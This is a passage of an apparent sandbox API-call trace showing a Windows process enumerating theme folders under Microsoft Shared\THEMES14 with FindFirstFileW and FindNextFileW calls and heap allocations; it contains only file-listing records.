cFileName=".", cAlternateFileName="")) returned 0x65bc08 [0220.767] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60891430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60891430, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0220.767] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf8a45100, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x60891430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf8a45100, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xb0ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="ECHO.ELM", cAlternateFileName="")) returned 1 [0220.767] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x608b7590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="ECHO.INF", cAlternateFileName="")) returned 1 [0220.767] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x5ad, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0220.767] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6212, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0220.768] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6212, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0220.768] FindClose (in: hFindFile=0x65bc08 | out: hFindFile=0x65bc08) returned 1 [0220.769] GetProcessHeap () returned 0x560000 [0220.769] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2ba9a68 | out: hHeap=0x560000) returned 1 [0220.769] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e3fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ECLIPSE", cAlternateFileName="")) returned 1 [0220.769] GetProcessHeap () returned 0x560000 [0220.769] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2ba9a68 [0220.769] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\*", lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e3fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc08 [0220.769] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e3fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0220.769] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9d57e00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51eb22b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf9d57e00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x1cf31, dwReserved0=0x0, dwReserved1=0x0, cFileName="ECLIPSE.ELM", cAlternateFileName="")) returned 1 [0220.770] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x608b7590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x253, dwReserved0=0x0, dwReserved1=0x0, cFileName="ECLIPSE.INF", cAlternateFileName="")) returned 1 [0220.770] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x543, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0220.770] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7e93, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0220.770] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7e93, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0220.770] FindClose (in: hFindFile=0x65bc08 | out: hFindFile=0x65bc08) returned 1 [0220.771] GetProcessHeap () returned 0x560000 [0220.771] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2ba9a68 | out: hHeap=0x560000) returned 1 [0220.771] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51f70990, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EDGE", cAlternateFileName="")) returned 1 [0220.771] GetProcessHeap () returned 0x560000 [0220.771] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2ba9a68 [0220.771] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\*", lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51f70990, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc08 [0220.771] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51f70990, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0220.772] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb06ab00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51f70990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfb06ab00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xb8f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="EDGE.ELM", cAlternateFileName="")) returned 1 [0220.772] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x51f70990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x211, dwReserved0=0x0, dwReserved1=0x0, cFileName="EDGE.INF", cAlternateFileName="")) returned 1 [0220.772] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x543, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0220.772] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6722, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0220.772] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6722, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0220.773] FindClose (in: hFindFile=0x65bc08 | out: hFindFile=0x65bc08) returned 1 [0220.773] GetProcessHeap () returned 0x560000 [0220.773] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2ba9a68 | out: hHeap=0x560000) returned 1 [0220.773] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51fe2db0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EVRGREEN", cAlternateFileName="")) returned 1 [0220.773] GetProcessHeap () returned 0x560000 [0220.773] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2ba9a68 [0220.773] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\*", lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51fe2db0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc08 [0220.774] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51fe2db0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0220.774] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc37d800, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x52008f10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc37d800, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x12dee, dwReserved0=0x0, dwReserved1=0x0, cFileName="EVRGREEN.ELM", cAlternateFileName="")) returned 1 [0220.774] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6099bdd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x223, dwReserved0=0x0, dwReserved1=0x0, cFileName="EVRGREEN.INF", cAlternateFileName="")) returned 1 [0220.774] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x54a, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0220.774] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7eb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0220.774] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7eb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0220.775] FindClose (in: hFindFile=0x65bc08 | out: hFindFile=0x65bc08) returned 1 [0220.775] GetProcessHeap () returned 0x560000 [0220.775] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2ba9a68 | out: hHeap=0x560000) returned 1 [0220.775] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60af2a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60af2a30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXPEDITN", cAlternateFileName="")) returned 1 [0220.775] GetProcessHeap () returned 0x560000 [0220.775] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2ba9a68 [0220.775] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\*", lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60af2a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60af2a30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc08 [0220.776] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60af2a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60af2a30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0220.776] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd690500, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x60af2a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfd690500, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x19539, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXPEDITN.ELM", cAlternateFileName="")) returned 1 [0220.776] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x60af2a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x255, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXPEDITN.INF", cAlternateFileName="")) returned 1 [0220.776] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0220.776] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xed34, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0220.777] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xed34, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0220.777] FindClose (in: hFindFile=0x65bc08 | out: hFindFile=0x65bc08) returned 1 [0220.777] GetProcessHeap () returned 0x560000 [0220.777] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2ba9a68 | out: hHeap=0x560000) returned 1 [0220.777] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61cccf30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ICE", cAlternateFileName="")) returned 1 [0220.777] GetProcessHeap () returned 0x560000 [0220.777] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2ba9a68 [0220.778] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\*", lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61cccf30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc08 [0220.778] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61cccf30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0220.778] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35ee600, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x35ee600, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x109d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ICE.ELM", cAlternateFileName="")) returned 1 [0220.778] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1ad, dwReserved0=0x0, dwReserved1=0x0, cFileName="ICE.INF", cAlternateFileName="")) returned 1 